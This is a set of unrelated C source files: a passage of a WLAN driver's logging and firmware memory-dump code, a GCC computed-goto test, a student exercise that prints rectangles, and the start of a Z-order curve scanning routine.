gwlan_logging.log_complete.is_fatal = WLAN_LOG_TYPE_NON_FATAL; gwlan_logging.log_complete.is_report_in_progress = false; gwlan_logging.log_complete.reason_code = WLAN_LOG_REASON_CODE_UNUSED; } spin_unlock_irqrestore(&gwlan_logging.bug_report_lock, flags); } bool wlan_is_log_report_in_progress(void) { return gwlan_logging.log_complete.is_report_in_progress; } void wlan_reset_log_report_in_progress(void) { unsigned long flags; spin_lock_irqsave(&gwlan_logging.bug_report_lock, flags); gwlan_logging.log_complete.is_report_in_progress = false; spin_unlock_irqrestore(&gwlan_logging.bug_report_lock, flags); } void wlan_deinit_log_completion(void) { return; } int wlan_logging_sock_activate_svc(int log_fe_to_console, int num_buf, int pkt_stats_enabled, int pkt_stats_buff) { int i, j = 0; unsigned long irq_flag; bool failure = FALSE; pr_info("%s: Initalizing FEConsoleLog = %d NumBuff = %d\n", __func__, log_fe_to_console, num_buf); gapp_pid = INVALID_PID; gplog_msg = (struct log_msg *) vmalloc( num_buf * sizeof(struct log_msg)); if (!gplog_msg) { pr_err("%s: Could not allocate memory\n", __func__); return -ENOMEM; } vos_mem_zero(gplog_msg, (num_buf * sizeof(struct log_msg))); gwlan_logging.log_fe_to_console = !!log_fe_to_console; gwlan_logging.num_buf = num_buf; spin_lock_irqsave(&gwlan_logging.spin_lock, irq_flag); INIT_LIST_HEAD(&gwlan_logging.free_list); INIT_LIST_HEAD(&gwlan_logging.filled_list); for (i = 0; i < num_buf; i++) { list_add(&gplog_msg[i].node, &gwlan_logging.free_list); gplog_msg[i].index = i; } gwlan_logging.pcur_node = (struct log_msg *) (gwlan_logging.free_list.next); list_del_init(gwlan_logging.free_list.next); spin_unlock_irqrestore(&gwlan_logging.spin_lock, irq_flag); if(pkt_stats_enabled) { pr_info("%s: Initalizing Pkt stats pkt_stats_buff = %d\n", __func__, pkt_stats_buff); pkt_stats_buffers = (struct pkt_stats_msg *) kzalloc( pkt_stats_buff * sizeof(struct pkt_stats_msg), GFP_KERNEL); if (!pkt_stats_buffers) { pr_err("%s: Could not allocate memory for Pkt stats\n", __func__); failure = TRUE; goto err; } gwlan_logging.pkt_stat_num_buf = pkt_stats_buff; gwlan_logging.pkt_stats_msg_idx = 0; INIT_LIST_HEAD(&gwlan_logging.pkt_stat_free_list); INIT_LIST_HEAD(&gwlan_logging.pkt_stat_filled_list); for (i = 0; i < pkt_stats_buff; i++) { pkt_stats_buffers[i].skb= dev_alloc_skb(MAX_PKTSTATS_LOG_LENGTH); if (pkt_stats_buffers[i].skb == NULL) { pr_err("%s: Memory alloc failed for skb",__func__); /* free previously allocated skb and return;*/ for (j = 0; j<i ; j++) { dev_kfree_skb(pkt_stats_buffers[j].skb); } spin_lock_irqsave(&gwlan_logging.spin_lock, irq_flag); vos_mem_free(pkt_stats_buffers); pkt_stats_buffers = NULL; spin_unlock_irqrestore(&gwlan_logging.spin_lock, irq_flag); failure = TRUE; goto err; } list_add(&pkt_stats_buffers[i].node, &gwlan_logging.pkt_stat_free_list); } gwlan_logging.pkt_stats_pcur_node = (struct pkt_stats_msg *) (gwlan_logging.pkt_stat_free_list.next); list_del_init(gwlan_logging.pkt_stat_free_list.next); gwlan_logging.pkt_stats_enabled = TRUE; } err: if (failure) gwlan_logging.pkt_stats_enabled = false; init_waitqueue_head(&gwlan_logging.wait_queue); gwlan_logging.exit = false; clear_bit(HOST_LOG_POST, &gwlan_logging.event_flag); clear_bit(LOGGER_MGMT_DATA_PKT_POST, &gwlan_logging.event_flag); clear_bit(LOGGER_FW_LOG_PKT_POST, &gwlan_logging.event_flag); clear_bit(LOGGER_FATAL_EVENT_POST, &gwlan_logging.event_flag); clear_bit(HOST_PKT_STATS_POST, &gwlan_logging.event_flag); init_completion(&gwlan_logging.shutdown_comp); gwlan_logging.thread = kthread_create(wlan_logging_thread, NULL, "wlan_logging_thread"); if (IS_ERR(gwlan_logging.thread)) { pr_err("%s: Could not Create LogMsg Thread Controller", __func__); spin_lock_irqsave(&gwlan_logging.spin_lock, irq_flag); vfree(gplog_msg); gplog_msg = NULL; gwlan_logging.pcur_node = NULL; spin_unlock_irqrestore(&gwlan_logging.spin_lock, irq_flag); return -ENOMEM; } wake_up_process(gwlan_logging.thread); gwlan_logging.is_active = true; nl_srv_register(ANI_NL_MSG_LOG, wlan_logging_proc_sock_rx_msg); //Broadcast SVC ready message to logging app/s running wlan_logging_srv_nl_ready_indication(); return 0; } int wlan_logging_flush_pkt_queue(void) { vos_pkt_t *pkt_queue_head; unsigned long flags; spin_lock_irqsave(&gwlan_logging.data_mgmt_pkt_lock, flags); if (NULL != gwlan_logging.data_mgmt_pkt_queue) { pkt_queue_head = gwlan_logging.data_mgmt_pkt_queue; gwlan_logging.data_mgmt_pkt_queue = NULL; gwlan_logging.pkt_drop_cnt = 0; gwlan_logging.data_mgmt_pkt_qcnt = 0; spin_unlock_irqrestore(&gwlan_logging.data_mgmt_pkt_lock, flags); vos_pkt_return_packet(pkt_queue_head); } else { spin_unlock_irqrestore(&gwlan_logging.data_mgmt_pkt_lock, flags); } spin_lock_irqsave(&gwlan_logging.fw_log_pkt_lock, flags); if (NULL != gwlan_logging.fw_log_pkt_queue) { pkt_queue_head = gwlan_logging.fw_log_pkt_queue; gwlan_logging.fw_log_pkt_queue = NULL; gwlan_logging.fw_log_pkt_drop_cnt = 0; gwlan_logging.fw_log_pkt_qcnt = 0; spin_unlock_irqrestore(&gwlan_logging.fw_log_pkt_lock, flags); vos_pkt_return_packet(pkt_queue_head); } else { spin_unlock_irqrestore(&gwlan_logging.fw_log_pkt_lock, flags); } spin_lock_irqsave(&gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_lock, flags); if (NULL != gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_queue) { pkt_queue_head = gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_queue; spin_unlock_irqrestore(&gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_lock, flags); vos_pkt_return_packet(pkt_queue_head); wlan_free_fwr_mem_dump_buffer(); } else { spin_unlock_irqrestore(&gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_lock, flags); } return 0; } int wlan_logging_sock_deactivate_svc(void) { unsigned long irq_flag; int i; if (!gplog_msg) return 0; nl_srv_unregister(ANI_NL_MSG_LOG, wlan_logging_proc_sock_rx_msg); clear_default_logtoapp_log_level(); gapp_pid = INVALID_PID; INIT_COMPLETION(gwlan_logging.shutdown_comp); gwlan_logging.exit = true; gwlan_logging.is_active = false; vos_set_multicast_logging(0); wake_up_interruptible(&gwlan_logging.wait_queue); wait_for_completion(&gwlan_logging.shutdown_comp); spin_lock_irqsave(&gwlan_logging.spin_lock, irq_flag); vfree(gplog_msg); gplog_msg = NULL; gwlan_logging.pcur_node = NULL; spin_unlock_irqrestore(&gwlan_logging.spin_lock, irq_flag); spin_lock_irqsave(&gwlan_logging.pkt_stats_lock, irq_flag); /* free allocated skb */ for (i = 0; i < gwlan_logging.pkt_stat_num_buf; i++) { if (pkt_stats_buffers[i].skb) dev_kfree_skb(pkt_stats_buffers[i].skb); } if(pkt_stats_buffers) vos_mem_free(pkt_stats_buffers); pkt_stats_buffers = NULL; gwlan_logging.pkt_stats_pcur_node = NULL; gwlan_logging.pkt_stats_enabled = false; spin_unlock_irqrestore(&gwlan_logging.pkt_stats_lock, irq_flag); wlan_logging_flush_pkt_queue(); return 0; } int wlan_logging_sock_init_svc(void) { spin_lock_init(&gwlan_logging.spin_lock); spin_lock_init(&gwlan_logging.data_mgmt_pkt_lock); spin_lock_init(&gwlan_logging.fw_log_pkt_lock); spin_lock_init(&gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_lock); spin_lock_init(&gwlan_logging.pkt_stats_lock); gapp_pid = INVALID_PID; gwlan_logging.pcur_node = NULL; gwlan_logging.pkt_stats_pcur_node= NULL; wlan_init_log_completion(); return 0; } int wlan_logging_sock_deinit_svc(void) { gwlan_logging.pcur_node = NULL; gwlan_logging.pkt_stats_pcur_node = NULL; gapp_pid = INVALID_PID; wlan_deinit_log_completion(); return 0; } int wlan_queue_data_mgmt_pkt_for_app(vos_pkt_t *pPacket) { unsigned long flags; vos_pkt_t *next_pkt; vos_pkt_t *free_pkt; VOS_STATUS status = VOS_STATUS_E_FAILURE; spin_lock_irqsave(&gwlan_logging.data_mgmt_pkt_lock, flags); if (gwlan_logging.data_mgmt_pkt_qcnt >= LOGGER_MAX_DATA_MGMT_PKT_Q_LEN) { status = vos_pkt_walk_packet_chain( gwlan_logging.data_mgmt_pkt_queue, &next_pkt, TRUE); /*both "success" and "empty" are acceptable results*/ if (!((status == VOS_STATUS_SUCCESS) || (status == VOS_STATUS_E_EMPTY))) { ++gwlan_logging.pkt_drop_cnt; spin_unlock_irqrestore( &gwlan_logging.data_mgmt_pkt_lock, flags); pr_err("%s: Failure walking packet chain", __func__); /*keep returning pkts to avoid low resource cond*/ vos_pkt_return_packet(pPacket); return VOS_STATUS_E_FAILURE; } free_pkt = gwlan_logging.data_mgmt_pkt_queue; gwlan_logging.data_mgmt_pkt_queue = next_pkt; /*returning head of pkt queue. latest pkts are important*/ --gwlan_logging.data_mgmt_pkt_qcnt; spin_unlock_irqrestore(&gwlan_logging.data_mgmt_pkt_lock, flags); vos_pkt_return_packet(free_pkt); } else { spin_unlock_irqrestore(&gwlan_logging.data_mgmt_pkt_lock, flags); } spin_lock_irqsave(&gwlan_logging.data_mgmt_pkt_lock, flags); if (gwlan_logging.data_mgmt_pkt_queue) { vos_pkt_chain_packet(gwlan_logging.data_mgmt_pkt_queue, pPacket, TRUE); } else { gwlan_logging.data_mgmt_pkt_queue = pPacket; } ++gwlan_logging.data_mgmt_pkt_qcnt; spin_unlock_irqrestore(&gwlan_logging.data_mgmt_pkt_lock, flags); set_bit(LOGGER_MGMT_DATA_PKT_POST, &gwlan_logging.event_flag); wake_up_interruptible(&gwlan_logging.wait_queue); return VOS_STATUS_SUCCESS; } /** * wlan_logging_set_log_level() - Set the logging level * * This function is used to set the logging level of host debug messages * * Return: None */ void wlan_logging_set_log_level(void) { set_default_logtoapp_log_level(); } int wlan_queue_fw_log_pkt_for_app(vos_pkt_t *pPacket) { unsigned long flags; vos_pkt_t *next_pkt; vos_pkt_t *free_pkt; VOS_STATUS status = VOS_STATUS_E_FAILURE; spin_lock_irqsave(&gwlan_logging.fw_log_pkt_lock, flags); if (gwlan_logging.fw_log_pkt_qcnt >= LOGGER_MAX_FW_LOG_PKT_Q_LEN) { status = vos_pkt_walk_packet_chain( gwlan_logging.fw_log_pkt_queue, &next_pkt, TRUE); /*both "success" and "empty" are acceptable results*/ if (!((status == VOS_STATUS_SUCCESS) || (status == VOS_STATUS_E_EMPTY))) { ++gwlan_logging.fw_log_pkt_drop_cnt; spin_unlock_irqrestore( &gwlan_logging.fw_log_pkt_lock, flags); pr_err("%s: Failure walking packet chain", __func__); /*keep returning pkts to avoid low resource cond*/ vos_pkt_return_packet(pPacket); return VOS_STATUS_E_FAILURE; } free_pkt = gwlan_logging.fw_log_pkt_queue; gwlan_logging.fw_log_pkt_queue = next_pkt; /*returning head of pkt queue. latest pkts are important*/ --gwlan_logging.fw_log_pkt_qcnt; spin_unlock_irqrestore(&gwlan_logging.fw_log_pkt_lock, flags); vos_pkt_return_packet(free_pkt); } else { spin_unlock_irqrestore(&gwlan_logging.fw_log_pkt_lock, flags); } spin_lock_irqsave(&gwlan_logging.fw_log_pkt_lock, flags); if (gwlan_logging.fw_log_pkt_queue) { vos_pkt_chain_packet(gwlan_logging.fw_log_pkt_queue, pPacket, TRUE); } else { gwlan_logging.fw_log_pkt_queue = pPacket; } ++gwlan_logging.fw_log_pkt_qcnt; spin_unlock_irqrestore(&gwlan_logging.fw_log_pkt_lock, flags); set_bit(LOGGER_FW_LOG_PKT_POST, &gwlan_logging.event_flag); wake_up_interruptible(&gwlan_logging.wait_queue); return VOS_STATUS_SUCCESS; } int wlan_queue_fw_mem_dump_for_app(vos_pkt_t *pPacket) { unsigned long flags; vos_pkt_t *next_pkt; vos_pkt_t *free_pkt; VOS_STATUS status = VOS_STATUS_E_FAILURE; spin_lock_irqsave(&gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_lock, flags); if (gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_pkt_qcnt >= LOGGER_MAX_FW_MEM_DUMP_PKT_Q_LEN) { status = vos_pkt_walk_packet_chain( gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_queue, &next_pkt, TRUE); /*both "success" and "empty" are acceptable results*/ if (!((status == VOS_STATUS_SUCCESS) || (status == VOS_STATUS_E_EMPTY))) { spin_unlock_irqrestore( &gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_lock, flags); pr_err("%s: Failure walking packet chain", __func__); /*keep returning pkts to avoid low resource cond*/ vos_pkt_return_packet(pPacket); return VOS_STATUS_E_FAILURE; } free_pkt = gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_queue; gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_queue = next_pkt; /*returning head of pkt queue. latest pkts are important*/ --gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_pkt_qcnt; ++gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_pkt_drop_cnt ; spin_unlock_irqrestore(&gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_lock, flags); pr_info("%s : fw mem_dump pkt cnt --> %d\n" ,__func__, gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_pkt_drop_cnt); vos_pkt_return_packet(free_pkt); } else { spin_unlock_irqrestore(&gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_lock, flags); } spin_lock_irqsave(&gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_lock, flags); if (gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_queue) { vos_pkt_chain_packet(gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_queue, pPacket, TRUE); } else { gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_queue = pPacket; } ++gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_pkt_qcnt; spin_unlock_irqrestore(&gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_lock, flags); set_bit(LOGGER_FW_MEM_DUMP_PKT_POST, &gwlan_logging.event_flag); wake_up_interruptible(&gwlan_logging.wait_queue); return VOS_STATUS_SUCCESS; } int wlan_queue_logpkt_for_app(vos_pkt_t *pPacket, uint32 pkt_type) { VOS_STATUS status = VOS_STATUS_E_FAILURE; if (pPacket == NULL) { pr_err("%s: Null param", __func__); VOS_ASSERT(0); return VOS_STATUS_E_FAILURE; } if (gwlan_logging.is_active == false) { /*return all packets queued*/ wlan_logging_flush_pkt_queue(); /*return currently received pkt*/ vos_pkt_return_packet(pPacket); return VOS_STATUS_E_FAILURE; } switch (pkt_type) { case WLAN_MGMT_FRAME_LOGS: status = wlan_queue_data_mgmt_pkt_for_app(pPacket); break; case WLAN_FW_LOGS: status = wlan_queue_fw_log_pkt_for_app(pPacket); break; case WLAN_FW_MEMORY_DUMP: status = wlan_queue_fw_mem_dump_for_app(pPacket); break; default: pr_info("%s: Unknown pkt received %d", __func__, pkt_type); status = VOS_STATUS_E_INVAL; break; }; return status; } void wlan_process_done_indication(uint8 type, uint32 reason_code) { if (FALSE == sme_IsFeatureSupportedByFW(MEMORY_DUMP_SUPPORTED)) { if ((type == WLAN_FW_LOGS) && (wlan_is_log_report_in_progress() == TRUE)) { pr_info("%s: Setting LOGGER_FATAL_EVENT %d\n", __func__, reason_code); set_bit(LOGGER_FATAL_EVENT_POST, &gwlan_logging.event_flag); wake_up_interruptible(&gwlan_logging.wait_queue); } return; } if ((type == WLAN_FW_LOGS) && reason_code && vos_isFatalEventEnabled() && vos_is_wlan_logging_enabled()) { if(wlan_is_log_report_in_progress() == TRUE) { pr_info("%s: Setting LOGGER_FATAL_EVENT %d\n", __func__, reason_code); set_bit(LOGGER_FATAL_EVENT_POST, &gwlan_logging.event_flag); wake_up_interruptible(&gwlan_logging.wait_queue); } else { unsigned long flags; /* Drop FW initiated fatal event for * LIMIT_FW_FATAL_EVENT_MS if received for same reason. */ spin_lock_irqsave(&gwlan_logging.bug_report_lock, flags); if ((reason_code == gwlan_logging.log_complete.last_fw_bug_reason) && ((vos_timer_get_system_time() - gwlan_logging.log_complete.last_fw_bug_timestamp) < LIMIT_FW_FATAL_EVENT_MS)) { spin_unlock_irqrestore( &gwlan_logging.bug_report_lock, flags); pr_info("%s: Ignoring Fatal event from firmware for reason %d\n", __func__, reason_code); return; } gwlan_logging.log_complete.last_fw_bug_reason = reason_code; gwlan_logging.log_complete.last_fw_bug_timestamp = vos_timer_get_system_time(); spin_unlock_irqrestore(&gwlan_logging.bug_report_lock, flags); /*Firmware Initiated*/ pr_info("%s : FW triggered Fatal Event, reason_code : %d\n", __func__, reason_code); wlan_set_log_completion(WLAN_LOG_TYPE_FATAL, WLAN_LOG_INDICATOR_FIRMWARE, reason_code); set_bit(LOGGER_FATAL_EVENT_POST, &gwlan_logging.event_flag); wake_up_interruptible(&gwlan_logging.wait_queue); } } if(type == WLAN_FW_MEMORY_DUMP && vos_is_wlan_logging_enabled()) { pr_info("%s: Setting FW MEM DUMP LOGGER event\n", __func__); set_bit(LOGGER_FW_MEM_DUMP_PKT_POST_DONE, &gwlan_logging.event_flag); wake_up_interruptible(&gwlan_logging.wait_queue); } } /** * wlan_flush_host_logs_for_fatal() -flush host logs and send * fatal event to upper layer. */ void wlan_flush_host_logs_for_fatal() { unsigned long flags; if (wlan_is_log_report_in_progress()) { pr_info("%s:flush all host logs Setting HOST_LOG_POST\n", __func__); spin_lock_irqsave(&gwlan_logging.spin_lock, flags); wlan_queue_logmsg_for_app(); spin_unlock_irqrestore(&gwlan_logging.spin_lock, flags); set_bit(HOST_LOG_POST, &gwlan_logging.event_flag); wake_up_interruptible(&gwlan_logging.wait_queue); } } /** * wlan_is_logger_thread()- Check if threadid is * of logger thread * * @threadId: passed threadid * * This function is called to check if threadid is * of logger thread. * * Return: true if threadid is of logger thread. */ bool wlan_is_logger_thread(int threadId) { return ((gwlan_logging.thread) && (threadId == gwlan_logging.thread->pid)); } int wlan_fwr_mem_dump_buffer_allocation(void) { /*Allocate the dump memory as reported by fw. or if feature not supported just report to the user */ if(gwlan_logging.fw_mem_dump_ctx.fw_dump_max_size <= 0) { pr_err("%s: fw_mem_dump_req not supported by firmware", __func__); return -EFAULT; } gwlan_logging.fw_mem_dump_ctx.fw_dump_start_loc = (uint8 *)vos_mem_vmalloc(gwlan_logging.fw_mem_dump_ctx.fw_dump_max_size); gwlan_logging.fw_mem_dump_ctx.fw_dump_current_loc = gwlan_logging.fw_mem_dump_ctx.fw_dump_start_loc; if(NULL == gwlan_logging.fw_mem_dump_ctx.fw_dump_start_loc) { pr_err("%s: fw_mem_dump_req alloc failed for size %d bytes", __func__,gwlan_logging.fw_mem_dump_ctx.fw_dump_max_size); return -ENOMEM; } vos_mem_zero(gwlan_logging.fw_mem_dump_ctx.fw_dump_start_loc,gwlan_logging.fw_mem_dump_ctx.fw_dump_max_size); return 0; } /*set the current fw mem dump state*/ void wlan_set_fwr_mem_dump_state(enum FW_MEM_DUMP_STATE fw_mem_dump_state) { unsigned long flags; spin_lock_irqsave(&gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_lock, flags); gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_status = fw_mem_dump_state; spin_unlock_irqrestore(&gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_lock, flags); } /*check for new request validity and free memory if present from previous request */ bool wlan_fwr_mem_dump_test_and_set_write_allowed_bit(){ unsigned long flags; bool ret = false; bool write_done = false; spin_lock_irqsave(&gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_lock, flags); if(gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_status == FW_MEM_DUMP_IDLE){ ret = true; gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_status = FW_MEM_DUMP_WRITE_IN_PROGRESS; } else if(gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_status == FW_MEM_DUMP_WRITE_DONE){ ret = true; write_done = true; gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_status = FW_MEM_DUMP_WRITE_IN_PROGRESS; } spin_unlock_irqrestore(&gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_lock, flags); pr_info("%s:fw mem dump state --> %d ", __func__,gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_status); if(write_done) wlan_free_fwr_mem_dump_buffer(); return ret; } bool wlan_fwr_mem_dump_test_and_set_read_allowed_bit(){ unsigned long flags; bool ret=false; spin_lock_irqsave(&gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_lock, flags); if(gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_status == FW_MEM_DUMP_WRITE_DONE || gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_status == FW_MEM_DUMP_READ_IN_PROGRESS ){ ret = true; gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_status = FW_MEM_DUMP_READ_IN_PROGRESS; } spin_unlock_irqrestore(&gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_lock, flags); //pr_info("%s:fw mem dump state --> %d ", __func__,gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_status); return ret; } size_t wlan_fwr_mem_dump_fsread_handler(char __user *buf, size_t count, loff_t *pos,loff_t* bytes_left) { if (buf == NULL || gwlan_logging.fw_mem_dump_ctx.fw_dump_start_loc == NULL) { pr_err("%s : start loc : %p buf : %p ",__func__,gwlan_logging.fw_mem_dump_ctx.fw_dump_start_loc,buf); return 0; } if (*pos < 0) { pr_err("Invalid start offset for memdump read"); return 0; } else if (*pos >= gwlan_logging.fw_mem_dump_ctx.fw_dump_max_size || !count) { pr_err("No more data to copy"); return 0; } else if (count > gwlan_logging.fw_mem_dump_ctx.fw_dump_max_size - *pos) { count = gwlan_logging.fw_mem_dump_ctx.fw_dump_max_size - *pos; } if (copy_to_user(buf, gwlan_logging.fw_mem_dump_ctx.fw_dump_start_loc, count)) { pr_err("%s copy to user space failed",__func__); return 0; } /* offset(pos) should be updated here based on the copy done*/ *pos += count; *bytes_left = gwlan_logging.fw_mem_dump_ctx.fw_dump_max_size - *pos; return count; } void wlan_set_svc_fw_mem_dump_req_cb (void * fw_mem_dump_req_cb, void * fw_mem_dump_req_cb_arg) { unsigned long flags; spin_lock_irqsave(&gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_lock, flags); gwlan_logging.fw_mem_dump_ctx.svc_fw_mem_dump_req_cb = fw_mem_dump_req_cb; gwlan_logging.fw_mem_dump_ctx.svc_fw_mem_dump_req_cb_arg = fw_mem_dump_req_cb_arg; spin_unlock_irqrestore(&gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_lock, flags); } void wlan_free_fwr_mem_dump_buffer (void ) { unsigned long flags; void * tmp = NULL; spin_lock_irqsave(&gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_lock, flags); tmp = gwlan_logging.fw_mem_dump_ctx.fw_dump_start_loc; gwlan_logging.fw_mem_dump_ctx.fw_dump_start_loc = NULL; gwlan_logging.fw_mem_dump_ctx.fw_dump_current_loc = NULL; spin_unlock_irqrestore(&gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_lock, flags); // Don't set fw_dump_max_size to 0, only free the buffera if(tmp != NULL) vos_mem_vfree((void *)tmp); } void wlan_store_fwr_mem_dump_size(uint32 dump_size) { unsigned long flags; spin_lock_irqsave(&gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_lock, flags); //Store the dump size gwlan_logging.fw_mem_dump_ctx.fw_dump_max_size = dump_size; spin_unlock_irqrestore(&gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_lock, flags); } /** * wlan_indicate_mem_dump_complete() - When H2H for mem * dump finish invoke the handler. * * This is a handler used to indicate user space about the * availability for firmware memory dump via vendor event. * * Return: None */ void wlan_indicate_mem_dump_complete(bool status ) { hdd_context_t *hdd_ctx; void *vos_ctx; int ret; struct sk_buff *skb = NULL; vos_ctx = vos_get_global_context(VOS_MODULE_ID_SYS, NULL); if (!vos_ctx) { pr_err("Invalid VOS context"); return; } hdd_ctx = vos_get_context(VOS_MODULE_ID_HDD, vos_ctx); if(!hdd_ctx) { pr_err("Invalid HDD context"); return; } ret = wlan_hdd_validate_context(hdd_ctx); if (0 != ret) { pr_err("HDD context is not valid"); return; } skb = cfg80211_vendor_cmd_alloc_reply_skb(hdd_ctx->wiphy, sizeof(uint32_t) + NLA_HDRLEN + NLMSG_HDRLEN); if (!skb) { pr_err("cfg80211_vendor_event_alloc failed"); return; } if(status) { if (nla_put_u32(skb, QCA_WLAN_VENDOR_ATTR_MEMDUMP_SIZE, gwlan_logging.fw_mem_dump_ctx.fw_dump_max_size)) { pr_err("nla put fail"); goto nla_put_failure; } } else { pr_err("memdump failed.Returning size 0 to user"); if (nla_put_u32(skb, QCA_WLAN_VENDOR_ATTR_MEMDUMP_SIZE, 0)) { pr_err("nla put fail"); goto nla_put_failure; } } /*indicate mem dump complete*/ cfg80211_vendor_cmd_reply(skb); pr_info("Memdump event sent successfully to user space : recvd size %d",(int)(gwlan_logging.fw_mem_dump_ctx.fw_dump_current_loc - gwlan_logging.fw_mem_dump_ctx.fw_dump_start_loc)); return; nla_put_failure: kfree_skb(skb); return; } #ifdef FEATURE_WLAN_DIAG_SUPPORT /** * wlan_report_log_completion() - Report bug report completion to userspace * @is_fatal: Type of event, fatal or not * @indicator: Source of bug report, framework/host/firmware * @reason_code: Reason for triggering bug report * * This function is used to report the bug report completion to userspace * * Return: None */ void wlan_report_log_completion(uint32_t is_fatal, uint32_t indicator, uint32_t reason_code) { WLAN_VOS_DIAG_EVENT_DEF(wlan_diag_event, struct vos_event_wlan_log_complete); wlan_diag_event.is_fatal = is_fatal; wlan_diag_event.indicator = indicator; wlan_diag_event.reason_code = reason_code; wlan_diag_event.reserved = 0; WLAN_VOS_DIAG_EVENT_REPORT(&wlan_diag_event, EVENT_WLAN_LOG_COMPLETE); } #endif #endif /* WLAN_LOGGING_SOCK_SVC_ENABLE */
the_stack_data/42276.c
/* { dg-require-effective-target indirect_jumps } */ /* { dg-require-effective-target label_values } */ typedef unsigned long Eterm; process_main (void) { register Eterm x0; register Eterm *reg = ((void *) 0); register Eterm *I = ((void *) 0); static void *opcodes[] = { &&lb_allocate_heap_zero_III, &&lb_allocate_init_tIy, &&lb_allocate_zero_tt }; lb_allocate_heap_III:{ Eterm *next; goto *(next); } lb_allocate_heap_zero_III:{ } lb_allocate_init_tIy:{ } lb_allocate_zero_tt:{ Eterm *next; { Eterm *tmp_ptr = ((Eterm *) (((x0)) - 0x1)); (*(Eterm *) (((unsigned char *) reg) + (I[(0) + 1]))) = ((tmp_ptr)[0]); x0 = ((tmp_ptr)[1]); } goto *(next); } }
the_stack_data/65530.c
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* rush02.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: lteresia <[email protected]> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2021/09/04 18:17:14 by lteresia #+# #+# */ /* Updated: 2021/09/05 20:21:57 by lteresia ### ########.fr */ /* */ /* ************************************************************************** */ void ft_putchar(char c); void ft_putline(int len, char first, char middle, char last) { int i; if (len > 0) ft_putchar(first); i = 1; while (i < len - 1) { ft_putchar(middle); i++; } if (i < len) ft_putchar(last); if (len > 0) ft_putchar('\n'); } void rush(int x, int y) { int i; if (y > 0) ft_putline(x, 'A', 'B', 'A'); i = 1; while (i < y - 1) { ft_putline(x, 'B', ' ', 'B'); i++; } if (i < y) ft_putline(x, 'C', 'B', 'C'); }
the_stack_data/345891.c
/* 2) Escreva o algoritmo que é usado para fazer uma multiplicação manualmente. (exercício para ser feito no papel). */
the_stack_data/1134416.c
/* * 2D Z curve(Lebesgue curve) order scanning routine. * * $Id: zorder2d.c,v 1.1 2004/10/22 16:58:02 syoyo Exp $ */ #include <stdio.h> #include <stdlib.h> #include <math.h> #if defined(LINUX) || defined(__APPLE__) #include <sys/time.h> #endif unsigned int g_z_order = 0; /* level */ unsigned int g_z_s = 0; unsigned int g_z_quadrant = 0; unsigned int g_z_offset = 0; unsigned int g_z_maxs = 0; unsigned int g_z_table[4][2] = {{0, 0}, {1, 0}, {0, 1}, {1, 1}}; /* expanded table for bit-interleaving. * each N'th bit moves (2N-1)'th bit. ( N > 1 ). * 1'th bit stays there. * * 00000000 -> 00000000_00000000 * 00000001 -> 00000000_00000001 * 00000010 -> 00000000_00000100 * 00000011 -> 00000000_00000101 * 00000100 -> 00000000_00010000 * 00000101 -> 00000000_00010001 * 00000110 -> 00000000_00010100 * ... * 11111111 -> 01010101_01010101 * */ unsigned short g_z_tbl_expand[256]; void compute_expand_table() { unsigned int i, j; unsigned int bit; unsigned int v; unsigned int ret; unsigned int mask = 0x1; int shift; for (i = 0; i < 256; i++) { v = i; shift = 0; ret = 0; for (j = 0; j < 8; j++) { /* extract (j+1)'th bit */ bit = (v >> j) & mask; ret += bit << shift; shift += 2; } g_z_tbl_expand[i] = (unsigned short)ret; } } /* 2D Z curve code. */ void zorder_xy_from_s(unsigned int s, int n, unsigned int *xp, unsigned int *yp) { unsigned int i; unsigned int bit; unsigned int mask = 0x0000003; unsigned int t; unsigned int scale = 1; (*xp) = 0; (*yp) = 0; t = s; /* unsinged int(32bit) can represent 2^16 pattern of 2D Z curve. */ for (i = 0; i < g_z_order; i++) { bit = (t & mask); (*xp) += scale * (g_z_table[bit][0]); (*yp) += scale * (g_z_table[bit][1]); t = t >> 2; scale = scale << 1; } } /* * Function: zorder_setup * * Setups variables required for Z curve order scan rendering. * * Parameters: * * wpix - the number of pixels in image width. 